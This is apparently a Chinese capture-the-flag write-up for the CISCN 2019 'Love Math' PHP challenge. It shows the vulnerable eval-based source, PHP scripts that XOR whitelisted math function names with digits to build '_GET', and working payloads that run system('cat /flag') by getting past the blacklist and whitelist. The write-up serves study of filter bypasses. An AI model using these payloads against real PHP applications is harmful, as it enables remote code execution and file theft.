[CISCN 2019 初赛]Love Math（RCE+数学函数白名单+符号黑名单）

源码如下：

<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

首先有个80的长度限制，然后有个字符的黑名单，和函数的白名单。

这道题没看题解之前还真没做出来，主要是因为对PHP的了解不深，很多函数和知识点都不知道。

题解

利用可用的函数构造payload的思路大佬们都讲得很清楚了，让我眼前一亮的是这个思路：

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

payload：

buuoj.cn/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

这个方法的原理就是用可用的函数和字母进行异或生成大量的字母组合（php中函数名默认为字符串），然后寻找可用的组合。

运行之后是这个样子：

起初不相信这个脚本能跑出可用的组合，搜了一还真找到了，，，
先搜索_G然后搜索ET，结果如下图：




每个都有四个，然后我尝试使用得到的异或组合替换下面payload中的 _GET：
$pi=($_GET){pi}(($_GET){abs})&pi=system&abs=tac /flag

先看看能不能正常输出：

<?php
$a=(mt_rand^(2).(3)).(tan^(1).(5));
echo $a;

这里不知道为啥(is_infinite^64).(rad2deg^75)不行，要在数字之间加个括号，运行结果如下：

虽然有warning但是也无伤大雅，然后直接用来代替_GET，payload如下：
/?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

成功拿到flag：

当然用其他组合也是可以的，比如：
/?c=$pi=(is_infinite^(6).(4)).(rad2deg^(7).(5));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

总结的其他方法

拓展

这里我还想试试有没有_和GET的组合，或者直接为_GET。
三个for循环：

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <9;$j++){
			for($a = 0;$a <=9;$a++){
            	$exp = $payload[$k] ^ $i.$j.$a;
            	echo($payload[$k]."^$i$j$a"."==>$exp");
            	echo "<br />";
            }
        }
    }
}

运行结果：

只找到了GET没有_

四个for循环，也没有_GET，但这里收获最大的是收获了一个强大的代码在线运行网站：编译工具|菜鸟工具，我的电脑跑这四个for循环死活跑不出来，资源还给我占完了，卡的一匹，差点关不掉。。。抱着试一试的心态在这个网站上跑，一下就跑出来了，所以以后需要大量运算的代码都在这上面跑了。（手动滑稽）

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <9;$j++){
			for($a = 0;$a <9;$a++){
				for($b = 0;$b <=9;$b++){
            	$exp = $payload[$k] ^ $i.$j.$a.$b;
            	echo($payload[$k]."^$i$j$a$b"."==>$exp");
            	echo "<br />";
				}
            }
        }
    }
}

除了异或应该还有其他的方法，这里先记录一下，以后也是一个可以考虑的点。